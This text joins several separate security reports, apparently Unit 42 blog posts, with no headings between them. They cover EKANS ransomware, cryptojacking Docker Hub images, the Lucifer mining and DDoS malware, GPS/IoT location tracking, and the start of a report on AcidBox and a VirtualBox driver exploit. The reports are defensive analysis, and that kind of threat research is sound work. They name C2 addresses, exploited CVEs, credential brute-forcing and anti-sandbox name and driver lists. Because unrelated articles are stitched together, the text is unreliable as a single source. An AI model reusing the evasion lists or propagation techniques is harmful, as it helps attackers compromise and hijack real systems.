Unit 42 researchers have observed recent EKANS (Snake backward) ransomware activity affecting multiple industries in the U.S and Europe. As a result, we’ve created this threat assessment report for the activities of this ransomware. Identified techniques and campaigns can be visualized using the Unit 42 Playbook Viewer.
EKANS, which was first observed in January 2020, has relatively basic ransomware behavior, as it primarily seeks to encrypt your files and display a ransom note when finished. Although EKANS is basic in terms of file encryption, it's worth mentioning that it does have some interesting functionalities that make it distinct from other ransomware strains. EKANS ransomware is written in Golang and includes a static “kill list” that will stop numerous antivirus and Industrial Control Systems (ICS) processes and services. After killing the processes, it then proceeds to delete shadow copies to disable any restoration capabilities. Like many ransomware malware families, EKANS attempts to also encrypt resources connected to the victim’s machine via the network.
After encrypting files, EKANS doesn’t follow a uniform extension change like other active ransomware. Instead, EKANS modifies the extension with five random characters. This may be an attempt by the creators of the ransomware to evade instant detection by just looking at the file extensions. One way to identify an EKANS infection is by looking for the hexadecimal string of EKANS at the end of the file, which is added by the ransomware.
EKANS’ intrusion vector at the moment seems to be spearphishing, to compromise credentials. Having file-blocking policies in place, and securing any open Remote Desktop Protocol (RDP) ports will help prevent the malware from entering the network. We encourage ICS asset owners to review their security posture against malware, such as EKANS, that aims to disrupt ICS operations. The EKANS operators have affected different industries including energy, architecture firms, healthcare, transportation, and manufacturing.
Palo Alto Networks Threat Prevention platform with WildFire, and Cortex XDR detects activity associated with this ransomware. Customers can also review activity associated with this Threat Assessment using AutoFocus with the following tag: EKANS.
Impact Assessment
Several adversarial techniques were observed in this activity and the following measures are suggested within Palo Alto Networks’ products and services to ensure mitigation of threats related with the EKANS ransomware, as well as other malware using the similar techniques:
Tactic
Technique
(Mitre ATT&CK ID)
Product / Service
Course of Action
Initial Access
Spearphishing Attachment (T1193)
NGFW
Setup File Blocking
Threat Prevention†
Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'
Ensure a secure antivirus profile is applied to all relevant security policies
WildFire
Ensure that WildFire file size upload limits are maximized
Ensure forwarding is enabled for all applications and file types in WildFire file blocking profiles
Ensure a WildFire Analysis profile is enabled for all security policies
Ensure forwarding of decrypted content to WildFire is enabled
Ensure all WildFire session information settings are enabled
Ensure alerts are enabled for malicious files detected by WildFire
Ensure 'WildFire Update Schedule' is set to download and install updates every minute
XDR monitors for behavioral events via BIOCs along a causality chain to identify discovery behaviors
Process Discovery (T1057)
XDR monitors for behavioral events via BIOCs along a causality chain to identify discovery behaviors
Collection
Automated Collection (T1119)
Enable Anti-Exploit
Enable Anti-Malware Protection
Data from Local System (T1005)
Enable Anti-Exploit
Enable Anti-Malware Protection
Command and Control
Custom Command and Control (T1094)
NGFW
Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone
Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist
Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists
Threat Prevention†
Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3'
Ensure a secure antivirus profile is applied to all relevant security policies
Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats
Ensure DNS sinkholing is configured on all anti-spyware profiles in use
Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use
Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet
DNS Security
Enable DNS Security in Anti-Spyware profile
URL Filtering
Ensure that PAN-DB URL Filtering is used
Ensure that URL Filtering uses the action of “block” or “override” on the <enterprise approved value> URL categories
Ensure that access to every URL is logged
Ensure all HTTP Header Logging options are enabled
Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet
Cortex XSOAR
Deploy XSOAR Playbook - Block IP
Deploy XSOAR Playbook - Block URL
Deploy XSOAR Playbook - Hunting C&C Communication Playbook
Deploy XSOAR Playbook - PAN-OS Query Logs for Indicators
Impact
Data Encrypted for Impact (T1486)
Cortex XDR
Enable Anti-Malware Protection
Enable the “Anti-Ransomware” security module in your security profile
Cortex XSOAR
Deploy XSOAR Playbook - Ransomware Manual for incident response.
Table 1. Courses of Action for EKANS ransomware †These capabilities are part of the NGFW security subscriptions service
Conclusion
EKANS is a relatively new ransomware, and we still continue to investigate the threat, that’s active targeting vulnerable enterprises for financial gain.
Although we haven’t seen EKANS leveraging compromised RDP, one of ransomware's top intrusion vectors are unsecured RDP ports. It’s always good practice to close those ports if they are not needed, or secure them. We encourage having the proper protections and best practices in place to prevent EKANS into getting into, or executing within, your network.
ICS asset owners should particularly be aware of this ransomware as it tries to kill ICS-related processes, so reviewing their security posture against this threat is recommended.
The suggested courses of action in this report are based on the information currently available to Palo Alto Networks and the capabilities within Palo Alto Networks’ products and services.
Docker containers have been gaining popularity over the past few years as an effective way of packaging software applications. Docker Hub provides a strong community-based model for users and companies to share their software applications. This is also attracting the attention of malicious actors intending to make money by cryptojacking within Docker containers and using Docker Hub to distribute these images.
We identified a malicious Docker Hub account, azurenql, active since October 2019 that was hosting six malicious images intended to mine the cryptocurrency, Monero. The coin mining code within the image intends to evade network detection by using network anonymizing tools such as ProxyChains and Tor. The images hosted on this account have been collectively pulled more than two milliontimes. For context, there are legitimate Azure related images under the official Microsoft Docker Hub account that have anywhere from a few thousand to 100 million+ pulls. One of the wallet IDs identified has been used to earn more than 525.38 XMR, which roughly translates to $36,000 USD. Additionally, when we last checked minexmr.com for this wallet ID, we saw recent activity indicating that it’s still being used.
We would like to give a shout out to the awesome security team at Docker Hub. They were very responsive and were able to take down this malicious Docker Hub account quickly in response to our notification.
Palo Alto Networks customers are protected by this threat through Threat Prevention signatures on the Next-Generation Firewall. Prisma Cloud customers are protected by this through the Trusted Images feature.
Introduction
We have identified a Docker Hub community user account named azurenql that contained eight repositories hosting six malicious Monero mining images. Here is a screenshot of the account and its repositories.
Figure 1. Malicious docker images on Docker Hub
Table 1, below, provides a summary of all the images found under this Docker Hub account, listed in descending order of their pull counts. It is worth noting that the top image was pulled more than 1.47 milliontimes.
Image Name
Repo Digest
Image ID
Last Updated
Size
(MB)
Pull Count
azurenql/53_57:442
7bb3553eea..
82527b2cf0..
2019-12-02T18:15:07
529
1476110
azurenql/93_164:442
e0bc99060c..
2943a51346..
2019-10-31T22:14:46
521
761191
azurenql/234_122:442
8c24aac84a..
4598f07f42..
2019-12-02T20:25:50
529
567185
azurenql/227_135:442
c42b461d06..
87ed2bf1b7..
2019-12-03T13:18:19
529
547510
azurenql/227_135_app:442
8fd6a0ad7d..
d9dc7dc415..
2019-10-26T20:39:01
521
8134
azurenql/227_135_tor:442
a8dfce336c..
4bb08b8d20..
2019-10-26T07:06:09
521
6064
66_42_53_57
Empty
Empty
N/A
0
0
test
Empty
Empty
N/A
0
0
Table 1. Summary of images found on the Docker Hub account
Docker Image Structure
To understand how the image is built, we reviewed the image structure of the image azurenql/227_135:442. The image is built in the following sequence of steps:
Use Ubuntu 16.04.6 LTS as the “base image”.
Install dependencies required for building from source, such as gcc, make, python, etc.
Install Tor to anonymize traffic. It is configured to listen on its default port, 9050.
1
2
/etc/tor/torrc
127.0.0.1:9050
Copy the source of ProxyChains-NG and build from source. The ProxyChains config is left as default to route its traffic through the local Tor SOCKS proxy connection.
1
2
3
4
/usr/local/etc/proxychains.conf
[ProxyList]
# defaults set to "tor"
socks4127.0.0.19050
Copy the source of the mining software, XMRig, and build from source.
Copy a custom python script dao.py and set it as the image’s Entrypoint.
Figure 2, below, demonstrates this sequence.
Figure 2. Image build sequence
Custom Script dao.py Analysis
The author of these images has included a custom Python script called dao.py, which is responsible for starting the mining process within the container, and was included in all the images.
As mentioned earlier, this script is registered as the Entrypoint in the image so that as soon as the image is started, this script will run.
1
2
3
4
5
"Entrypoint":[
"/bin/sh",
"-c",
"python /etc/dao.py"
],
All the Docker images mentioned in Table 1 contain some variant of this dao.py script. The only difference between the dao.py scripts in these images is that they use a different XMRig command line invocation. The different XMRig command line invocations are listed in Table 2.
High-level execution flow of the dao.py script:
Find the number of CPU cores on the system.
Set hugepages system property to increase the hash rate.
Symlink the XMRig binary (“dlls”) under /usr/local/bin and /usr/bin
Start Tor in the background.
Launch the miner through proxychains, which in turn routes the miner traffic through the local Tor SOCKS proxy as described earlier. A list of all the different mining commands used across the different dao.py versions is included in Table 2.
Figure 4. Command to start the miner using proxychains
The script’s execution workflow is also demonstrated in Figure 5 below.
Table 2. Different mining commands used in the dao.py scripts
Mining Infrastructure
Cryptomining is about solving a complex computational problem, which allows users to chain together blocks of transactions. These images are utilizing the processing power of the victim systems to verify transactions. Here, the image author is using two methods to mine the blocks by running these malicious images in the user's environment.
In the first method, the attacker is directly submitting the mined blocks to the central minexmr pool using a wallet ID.
When we looked up the transaction summary on the Monero mining pool, minexmr.com for this wallet ID, we saw recent activity indicating that the wallet ID is still used.
Figure 6 below shows the mining activity for this wallet in April and May 2020.
Figure 6. Wallet ID activity
Figure 7 below indicates that this wallet ID has already earned 525.38 XMR, which roughly translates to $36,000 USD.
Figure 7. Wallet ID XMR earnings
Whereas in the second method, the author has instances deployed on a hosting service running their own mining pool that are used to collect mined blocks.
The “Crypto Command” column in Table 2 lists examples of this method.
Docker containers provide a convenient way for packaging software, which is evident by its increasing adoption rate. This combined with coin mining makes it easy for a malicious actor to distribute their images to any machine that supports Docker and instantly start using its compute resources towards cryptojacking.
Palo Alto Networks Next-Generation Firewall customers subscribed for Threat Prevention are protected by this threat. Palo Alto Networks has released a Threat Signature to prevent network based delivery of the malicious images identified in this blog. Details of this signature are:
Threat ID
Name
85887
Coin Mining Docker image Detection
Table 3. Signature description for NGFW coverage
In addition, security best practices are recommended such as:
Avoid pulling or using base images from untrusted repositories.
Install the latest apps and threat definitions on the Palo Alto Networks Next-Generation Firewall.
Palo Alto Networks Prisma Cloud can be used to secure cloud deployments.
On May 29, 2020, Unit 42 researchers discovered a new variant of a hybrid cryptojacking malware from numerous incidents of CVE-2019-9081 exploitation in the wild. A closer look revealed the malware, which we’ve dubbed “Lucifer”, is capable of conducting DDoS attacks and well-equipped with all kinds of exploits against vulnerable Windows hosts. The first wave of the campaign stopped on June 10, 2020. The attacker then resumed their campaign on June 11, 2020, spreading an upgraded version of the malware and wreaking havoc. The sample was compiled on Thursday, June 11, 2020 10:39:47 PM UTC and caught by Palo Alto Networks Next-Generation Firewall. At the time of writing, the campaign’s still ongoing.
Lucifer is quite powerful in its capabilities. Not only is it capable of dropping XMRig for cryptojacking Monero, it’s also capable of command and control (C2) operation and self-propagation through the exploitation of multiple vulnerabilities and credential brute-forcing. Additionally, it drops and runs EternalBlue, EternalRomance, and DoublePulsar backdoor against vulnerable targets for intranet infections.
The exhaustive list of weaponized exploits includes CVE-2014-6287, CVE-2018-1000861, CVE-2017-10271, ThinkPHP RCE vulnerabilities (CVE-2018-20062), CVE-2018-7600, CVE-2017-9791, CVE-2019-9081, PHPStudy Backdoor RCE, CVE-2017-0144, CVE-2017-0145, and CVE-2017-8464. These vulnerabilities have either “high” or “critical” ratings due to their trivial-to-exploit nature and their tremendous impact inflicted on the victim. Once exploited, the attacker can execute arbitrary commands on the vulnerable device. In this case, the targets are Windows hosts on both the internet and intranet, given that the attacker is leveraging certutil utility in the payload for malware propagation. Fortunately, the patches for these vulnerabilities are readily available.
While the vulnerabilities abused and attack tactics leveraged by this malware are nothing original, they once again deliver a message to all organizations, reminding them why it’s utterly important to keep systems up-to-date whenever possible, eliminate weak credentials, and have a layer of defenses for assurance.
At the time of writing this blog, the XMR wallet has paid 0.493527 XMR, which converts to approximately $32 USD.
Palo Alto Networks Next-Generation Firewalls can detect and block all the exploit attempts from this kind of malware family.
This blog includes a detailed analysis of Lucifer and the comparison of version 1 and version 2.
Lucifer: Cryptojacking and DDoS Campaign
A quick note on the name: While the malware author named their malware Satan DDoS, there’s another malware, Satan Ransomware, bearing that devious name already. An alternative alias was given to this malware to avoid confusion. As a result of staying faithful to the unique strings in the binary, we are calling this Lucifer.
We identified two versions of Lucifer in our research - we focus first on version 1 and then highlight the changes made to version 2 in the following section.
Lucifer contains three resource sections, each of which contains a binary for a specific purpose. The X86 resource section contains a UPX-packed x86 version of XMRig 5.5.0. The X64 resource section contains a UPX-packed x64 version of XMRig5.5.0. The SMB section contains a binary, in which there’s a lot of Equation Group’s exploits like EternalBlue and EternalRomance, and of course the infamous DoublePulsar backdoor implant.
Upon execution, the malware first decrypts its C2 IP address using a xor-incremental encryption and then creates a mutant, using its C2 IP address as the mutant’s name.
The decrypted C2 IP address is 122[.]112[.]179[.]189.
The name of the mutant object is \Sessions\1\BaseNamedObjects\122[.]112[.]179[.]189
The pseudo-code for the decryption algorithm is shown in the figure below.
Figure 1. Decryption routine
The malware then proceeds to persist itself by setting the following registry key values.
The binary also uses schtasks to set up itself as a task running periodically, ensuring additional layer of persistence. The command executed is shown in Figure 2.
Figure 2. Execution of schtasks
Once the malware has persisted itself, it then checks whether there’s any existing stratum mining information stored in the following registry key value:
The mining information stored in this registry key value takes precedence if the data is present and legit. Otherwise, the malware falls back to its default data embedded in the binary.
The malware enables itself with debug privilege and starts several threads to carry out its operation in concurrent fashion. The following table summarizes the function of each thread.
Function Address
Description
0x0041C970
Clear event logs, remove a log file, terminate the miner process, and repeat its cleaning routine every 18000 second.
0x00414B60
Collect interface info and send miner status to its C2 server.
0x00419BC0
Check the remote address and remote port of all TCP connections. If there’s a match and the connection-owning process is not the malware itself and the process’s module path is not C:\ProgramData\spreadXfghij.exe, the malware kills that process and deletes that file. The allow list of ports and IP address are in the Appendix.
0x0041A780
Get or initialize its miner parameter, kill miner and Taskmgr process if necessary, drop the miner binary, and execute the miner binary with the values of the arguments based on the host’s memory usage. Both the x86 or x64 bit version of the miner is saved as C:\\ProgramData\\spreadXfghij.exe
0x00418DC0
Propagate through brute-forcing credentials and exploitation. Also drop the Equation Group’s exploits and launch them to propagate through exploiting years old SMB vulnerabilities.
0x0041C840
Copy and save the malware as C:\\ProgramData\\spread.txt
Table 1. Worker Thread Description
The malware employs different propagation strategies.
The malware scans for both open TCP ports 135 (RPC) and 1433(MSSQL) against the target, be it internal or external, and probes for the credential weakness in attempt to gain unauthorized access.
If the target has the RPC port open, the malware brute-forces the login using the default username administrator and its embedded password list. It then copies and runs the malware binary on the remote host upon successful authentication.
When the malware detects that the target has TCP port 1433 open, it tries to brute-force its way in using its embedded list of usernames and passwords. Upon successful login, the malware then issues shell commands to download and execute a replica of itself on the victim. The aforementioned list of usernames and passwords can be found in the appendix section.
In addition to brute-forcing the credentials, the malware leverages exploitation for self-propagation. For intranet infection, it drops and runs EternalBlue, EternalRomance, and DoublePulsar backdoor against the target when the target has TCP port 445 (SMB) open. Upon successful exploitation, certutil is used to propagate the malware.
The following figures show the parameters passed to launch the exploits and the backdoor implant.
Figure 3. EternalBlue and DoublePulsar combo (for non-XP targets)Figure 4. EternalBlue and DoublePulsar combo (for XP targets)Figure 5. EternalRomance and DoublePulsar combo (all targets)
In order to infect external hosts, the malware first generates a non-private IP address, and then probes this randomly-selected victim with HTTP requests over a number of ports. The list of ports is available in the Appendix. When the malware receives a valid HTTP response from the victim, it then tries to exploit the target based on the conditions shown in the following table.
Since the same vulnerability (e.g ThinkPHP RCE) may be triggered in different endpoints (i.e via different URLs), the malware tries all hardcoded URLs against the victim for each vulnerability before it proceeds to the next target or next exploit attempt.
All the exploits contain the payload that downloads a replica of the malware onto the victim via certutil. The following figures show examples of the attack traffic.
After the malware has launched all its worker threads, the malware enters an infinite loop to handle its C2 operation, with a sleep interval of five seconds.
An example of the initial request to its C2 server is shown in Figure 8.
Figure 8. Initial request to C2 server
Once the malware has established a TCP connection with its C2 server on port 15888, the malware saves that same socket for subsequent C2 control as well as the miner’s status report.
The initial C2 request contains a magic header \x04\x02\x02 and encrypted system information like the host IP address, the system type, system architecture, username, number of processors, and processor frequency. The malware does a decremental-xor encryption on this piece of information before it sends the encrypted data over the wire. The encrypted data can be decrypted using the decryption routine described in Figure 1. For example, the decrypted host IP address in Figure 8 is 192.168.56[.]52. The decrypted Windows system is Windows 7 64Bit, and the decrypted username is Lebron James.
Unlike its very first C2 request message, the rest of the miner’s status report messages are actually clear text. An example packet of the miner’s status report is shown in Figure 9 below.
Figure 9. Miner’s status report sent to C2 Server
Table 3 summarizes the control codes received from the C2 server and their corresponding functionalities.
C2 Command
Description
4
Perform TCP/UDP/HTTP DoS attack.
5
Reenable DoS attack.
6
Download and execute a file from its C2 server. The file’s saved as %TEMP%\<4 random lower case characters>.exe
7
Execute the received command from its C2 server.
8
Disable the miner’s status report functionality.
9
Enable the miner’s status report functionality.
10
Set the data of the registry key value HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\spreadCpuXmr, and terminate the miner process.
11
Enable both flags related to is_miner_killed and start_fresh
12
Reset flags and terminate the miner process.
Table 3. C2 description
The communication between the cryptojacking bot and its mining server is made by using the Stratum protocol on port 10001 and is controlled by the execution of the spreadXfghij.exe program. This program accepts different parameters that control configuration settings of the running miner such as username, password, CPU usage, priority, threads, and algorithm names respectively.
Figure 10. XMRig Command-Line parameters
The Stratum protocol is mainly used by miner software to connect to a centralized server, which coordinates the workload between the clients. This protocol satisfies the requirements of the JSON RPC 2.0 specification. The JSON-RPC requests and responses can be seen in Figure 11.
Figure 11. Lucifer bot exchanging the mining information.
Lucifer: Version 2
Version 2 of Lucifer is similar to its predecessor in terms of its overall capabilities and behaviors; It drops XMRig for cryptojacking, handles C2 operation, and propagates itself through exploitation and brute-forcing credentials.
While version 2 and version 1 share a lot of behavioral similarities, version 2 does have exclusive differences that are worth highlighting.
The malware possesses anti-sandbox capability by checking the username and the computer name of the infected host. If it finds a match in its predefined list of names as shown in Table 4, the malware halts itself from proceeding further.
NMSDBOX
Avira
WILBERT-SC
COMPUTERNAME
XPAMASTC
CWSX
Kappa
VBOX
XXXX-OS
cuckoo
cwsx-
nmsdbox
qemu
sandbox
virtual
wilbert-sc
xpamast-sc
xxxx - ox
cuckoosandbox
Table 4. List of Names
Lucifer also checks for the presence of following device drivers, DLLs, and virtual devices. If any of these objects are detected, the malware enters an infinite loop, stopping its execution from going further.
SbieDrv.sys
Sandboxie.sys
SbieDll.dll
VBoxHook.dll
\\.\VBoxMiniRdrDN
Dir_watch.dll
\\.\pipe\cuckoo
Table 5. List of Driver Names
In addition to its anti-sandbox techniques, version 2 possesses an anti-debugger technique that can thwart the analysis by passing a format string to OutputDebugStringA() and crashing the debugger.
Once Lucifer has passed all the checks, it decrypts its C2 URL and creates a mutex based on its C2 URL. The new C2 URL is qf2020[.]top, and the decryption algorithm is shown in Figure 1.
There’s an additional LNK resource section, in which there’s a CVE-2017-8464 exploit used for infection. The binaries in the resource section are encrypted using the aforementioned xor-incremental encryption. The decrypted X86, X64, and SMB binaries are the same as those embedded in version 1 of Lucifer.
X86 (encrypted): b6d4b4ef2880238dc8e322c7438f57b69cec6d44c0599875466a1edb8d093e15
X86 (decrypted): 8edbcd63def33827bfd63bffce4a15ba83e88908f9ac9962f10431f571ba07a8
In contrast to version 1, version 2 of Lucifer has added CVE-2017-8464 to its arsenal and taken out CVE-2018-1000861, CVE-2017-10271, and CVE-2017-9791.
The malware infects its targets through IPC, WMI, SMB, and FTP by brute-forcing the credentials, in addition to MSSQL, RPC, and network shares.
The dropped miner’s name is also different; it’s C:\\ProgramData\\Svchocpu.exe instead of C:\\ProgramData\\spreadXfghij.exe.
Right before proceeding to its C2 operation, Lucifer checks if the host's default language is 0x804 (zh-CN). If it is, the malware sets Internet Explorer's Start Page to www[.]yzzswt[.]com, and starts a thread that keeps killing and visiting that URL in Internet Explorer. The trigger depends on the system's idle time.
While Lucifer version 2 has new C2 at qf2020[.]top:19370, its C2 operation is still the same.
Conclusion
Lucifer is a new hybrid of cryptojacking and DDoS malware variant that leverages old vulnerabilities to spread and perform malicious activities on Windows platforms. Applying the updates and patches to the affected software are strongly advised. The vulnerable software includes Rejetto HTTP File Server, Jenkins, Oracle Weblogic, Drupal, Apache Struts, Laravel framework, and Microsoft Windows. Strong passwords are also encouraged to prevent dictionary attacks.
Palo Alto Networks customers are protected from the attacks by the following products and services:
Next-Generation Firewalls with Threat Prevention licenses can block the exploits and C2 traffic with best practice configuration.
WildFire can stop the malware with static signature detections.
AutoFocus customers can track this activity with the Lucifer tag.
Gartner anticipates the number of Internet of Things (IoT) and Internet of Medical Things (IoMT) devices will reach 25 billion by 2021. These connected devices will generate and collect Global Positioning System (GPS) data from personal health to smart cities. In this blog, we use the open-source tool Kepler to demonstrate the use cases of GPS data -- how to track location, movement, velocity and altitude from single or multiple devices. In the right circumstances, we could track a person not just to a physical location but also determine if this individual was in a car or an aircraft, and for how long.
GPS is invaluable to an IoT or an IoMT device because it can indicate location, altitude, speed, time, and direction. For example, IoMT devices can be used to monitor users’ health conditions, such as body temperature, heart rate, movements, and other medical information. In an emergency, using the interconnected GPS data, an IoMT device can not only alert first responders but also relay critical location data. Similarly, interconnected data can be used by law enforcement and investigators to deep dive into criminal behaviors and physical safety concerns.
The value of GPS coordinates has also attracted attackers' attention. Security researchers have seen malware like Exodus collect GPS data from infected mobile devices. It goes without saying the data privacy and data security concerns of GPS data cannot be overlooked. The reality is that more and more devices will produce more and more data as IoT adoption continues to accelerate.
Before IoT, There Were Mobile Phones
The GPS project was launched in the United States in 1973. The goal was to use four or more satellites to track geolocation data and time information on objects on Earth. IoT may be a new frontier, but we can learn quite a bit from experiences with mobile phones, the data they and their apps collect, and techniques for analyzing this data while avoiding its pitfalls.
These are not hypothetical questions. COVID-19 has led to numerous countries using or discussing the use of GPS and other location data from mobile phones to help track patients, potential new patients, etc. All of these use-cases beg the question: what other conclusions can we draw from GPS data? How else can we use and understand it in a variety of situations?
For the sake of simplicity, we will narrow the scope of our analysis to data provided by using Google’s Takeout functionality for a Pixel mobile phone. The data produced by this device, and enriched by Google, is a good example of basic GPS data, telematics data, and a glimpse into how IoT devices tie into GPS data.
First, what’s in the data? Basic GPS information includes latitude, longitude, and a timestamp. What many people don’t realize is that GPS can usually provide a measure of altitude above sea level as well, and horizontal and vertical measures of accuracy. GPS data can also measure speed at a single point in time by measuring the Doppler shift of a device compared to GPS satellites.
More interestingly for this use case, Google also provides predictions of what a user was doing and assigns them probabilities (e.g. ON_FOOT 85%, STILL 10%, etc.). This may not be the bleeding edge of IoT data, but it gives us a solid framework to understand how easily other types of IoT data and GPS data can flow together. Say we were to replace these predictions with a different source of data -- heart monitors, wheelchairs, defibrillators and oxygen pumps -- and instead of predicting whether someone was sitting or standing, we predicted if their vital signs showed indications of stress or heartbeat irregularities. Instead of examining where a person most likely to sit or walk, we could just as easily tie predictions from these IoT sensors to GPS data.
Data Preparation
There is always a bit of data preparation that goes into any analysis. In general, as long as analysts are able to get their data into a table format, they should be able to upload and use their data in most tools. An example table would have something like the following headers, and each row would be a “ping,” or single GPS record. The red fields are “core” GPS fields that would be expected on any device gathering GPS data. The yellow fields such as accuracy, altitude, and velocity are generally included as well, but not always. The blue fields are from Google’s activity classification engine that uses multiple sensors in the device to predict what the user is doing and assign a confidence interval to that prediction[1]. This prediction is a rough proxy for how an IoT device could marry its data to GPS data.
Table 1. Example of Android data from Google Takeout
Table 1. Example of Android data from Google Takeout
Location and Movement: One Mobile Device
Figure 1 shows the approximate times that someone was at a location and their velocities while arriving and leaving. Red means lower speed and green means faster speeds (measured in meters/second). All times are in UTC, and it looks like this individual spent about 10 hours at the solid red dot in the middle of the animation. The opacity of the points is very low. Meaning that a single point will be fairly light, but a point where a mobile device spends more time will be darker. This effect can be seen as the red dot where the user stopped becomes more opaque over the 10 hours spent there. They then left the location on a different path than they originally took to arrive there, and they were going faster when leaving as well. You may notice that there appear to be gaps in GPS points between locations. This may be entirely normal, depending on numerous factors like device, app, weather, surrounding buildings, etc.
Figure 1. Animation showing locations and movements
Zooming in on the location where the individual stopped, we can see more detail. In this animation, only the outlines of points are shown so that it is easier to determine when a new data point appears on the graph. The color of the points corresponds to velocity with red being slow and green being fast. Not surprisingly, at an office building, all the pings are red. The radii of the points match the horizontal accuracy of the GPS point in meters, and is scaled to the map. Given the high degree of overlap for these points, and the level of accuracy, it is reasonable to infer that the individual spent a good amount of their time on the north end of the building in question.
Figure 2. Investigating movement at location
Location and Movement: Multiple Mobile Devices
Can we determine if two mobile devices were at the same location at the same time? In order to answer this question, we generated two sets of data for two separate mobile devices, let’s name them Sally and Bob. Then we’ll follow roughly the same analysis that we did for one mobile device.
Figure 3. Investigation based on two devices
In Figure 3, at around 14:10 UTC, we see points for Sally start to appear on location in blue. At 15:06, points for Bob (in red) appear at the location and continue appearing until 21:00. From 21:02 - 21:06, Bob appears to be outside the location and moving away from it. Sally is still on location at 21:12. This leads us to the conclusion that Bob and Sally were in approximately the same location from around 15:06 until 21:00. It’s also worth noting that the horizontal accuracy of Bob’s location decreases greatly on his last ping (the large red circle). This is fairly common in areas where receiving GPS signals is difficult, but it still appears that he continued his path of walking away from the building.
Velocity and Altitude
If we wanted to filter to just data points from a mobile device in a moving vehicle and going perhaps too fast? We can use Google’s activity classification and velocity as filters. This is where IoT data can merge nicely with GPS. In this case, we are using the combination of the two to find a mobile device that was likely in a speeding car. In Figure 4, we see four points on what appears to be a highway with speeds ranging up to 85 mph (the graph is in m/s):
Figure 4. Investigation looking into velocity
What’s also interesting is another point captured by this filter. Except this one is going about 450 mph at about 35,000 feet altitude in Figure 5:
Figure 5. Investigation looking into altitude
If we remove the filter for “IN_VEHICLE”, we see what looks like the mobile device is in an airplane in flight, shown in Figure 6. Yes, GPS works on planes and even in places with no cell service. A clear view of four satellites overhead is all that is required.
Figure 6. GPS signals in airplane
Conclusion
While GPS data can bring tremendous value to emergency response and criminal investigation, we need to keep in mind that GPS signals can easily be spoofed as well. Location spoofing software can trick a phone’s built-in GPS by transmitting a false set of coordinates, which allow device owners to virtually travel to any location in the world. Regardless of this limitation, we want to encourage both security teams and law enforcement looking into this new aspect from data collection and investigation point of view. As the number of IoT devices continue to grow, current open source tools and investigation techniques would serve as a strong foundation and provide reasonably easy ways for future applications.
For individual users who want to protect their GPS data, we recommend limiting the location tracking on your mobile apps. This can be easily customized in your privacy settings. In addition, users are encouraged to download apps only from trusted sources like App Store and Google Play, which will prevent users from installing spywares that secretly collect location data.
When the news broke in 2014 about a new sophisticated threat actor dubbed the Turla Group, which the Estonian foreign intelligence service believes has Russian origins and operates on behalf of the FSB, its kernelmode malware also became the first publicly-described case that abused a third-party device driver to disable Driver Signature Enforcement (DSE). This security mechanism was introduced in Windows Vista to prevent unsigned drivers from loading into kernel space. Turla exploited the signed VirtualBox driver, VBoxDrv.sys v1.6.2, to deactivate DSE and load its unsigned payload drivers afterward.
There is some confusion about this exploit, however, as it’s often generally referred to as CVE-2008-3431. The exploit used by Turla actually abuses two vulnerabilities -- of which, only one was ever fixed in the aforementioned CVE. The other vulnerability was found by Turla and is used in the first version of their exploit, along with CVE-2008-3431. The second version of their exploit, presumably introduced in 2014 of their kernelmode malware, only uses the unpatched vulnerability, which we discuss in greater detail later.
In February 2019, Unit 42 found that a yet-to-be-known threat actor -- unbeknownst to the infosec community -- discovered that the second unpatched vulnerability can not only exploit VirtualBox VBoxDrv.sys driver v1.6.2, but also all other versions up to v3.0.0. Furthermore, our research shows that this unknown actor exploited VirtualBox driver version 2.2.0 to target at least two different Russian organizations in 2017, which we are revealing for the first time. We anticipate this was done because the driver version 2.2.0 wasn't known to be vulnerable and thus most likely is not on the radar of security companies being exploited. Since no other victims have been found, we believe this is a very rare malware used in targeted attacks only.
The actors used a previously unknown malware family that we have dubbed AcidBox due to the first part being an anagram of the malware’s driver device name and the second part taken from VirtualBox. Because of the malware’s complexity, rarity, and the fact that it’s part of a bigger toolset, we believe it was used by an advanced threat actor for targeted attacks and it's likely that this malware is still being used today if the attacker is still active. However, we anticipate that it was rewritten to a certain extent. Based on the information we have, we don’t believe this unknown threat actor is tied to Turla, except for the used exploit.
Palo Alto Networks customers are protected from this threat. Our threat prevention platform with WildFire identifies this malware as malicious. AutoFocus customers can track malware activity by using the AcidBox tag. We also created an Adversary Playbook for this attack, which can be found here.
The Unknown Threat Actor
In February 2019, we discovered a sample of AcidBox (SHA256: eb30a1822bd6f503f8151cb04bfd315a62fa67dbfe1f573e6fcfd74636ecedd5) uploaded to VirusTotal, which contained a string known to be used in Turla’s VirtualBox exploit. A deeper analysis of the sample revealed it’s the main worker module as part of a sophisticated malware that we couldn’t tie to any known threat actor.
In collaborating with our colleagues at Dr.Web, we learned that this sample was used in a targeted attack on an unspecified entity in Russia back in 2017. Thankfully, they shared three additional samples of the same malware family. Two of those usermode samples are modules that load the main worker from the Windows registry and one is the kernelmode payload driver embedded in the main worker sample. Moreover, we contacted Kaspersky since the company is headquartered in Russia, which found only one additional sample in their databases that was also the usermode loader version. We also contacted ESET, which didn’t find any victims infected with this malware, just like in our own case. For this reason, we conclude it’s a very rare malware used in targeted attacks only.
What all the samples have in common are the compilation timestamps of May 9, 2017. This date seems legitimate, as the sample found by Kaspersky appeared in June 2017 in their databases. Therefore, we conclude that the campaign which involved this malware took place in 2017. We couldn’t find any newer samples and thus it’s unknown if AcidBox is still in use or has been further developed.
We compared the specific characteristics of the samples to all publicly-known malware, but couldn’t find any clear overlaps. There are some very loose similarities to Remsec malware attributed to ProjectSauron, like:
DWORD size data marker values
Export function names made of 2/3 words
MS Visual C/C++ compiler used
Various import API functions overlaps
Use of vulnerable 3rd party driver to load own unsigned driver
Zlib compression used
Sensitive data encrypted in the resource section
However, based on these facts alone, it’s not possible to attribute the samples to the ProjectSauron threat actor. We think it’s more likely this is a yet unknown threat actor.
The VirtualBox Exploit and Turla’s Versions
The original vulnerability described in CVE-2008-3431 was found by Core Security in 2008 and affected VBoxDrv.sys less or equal version 1.6.2. It was fixed in version 1.6.4 and thus couldn’t be exploited anymore.
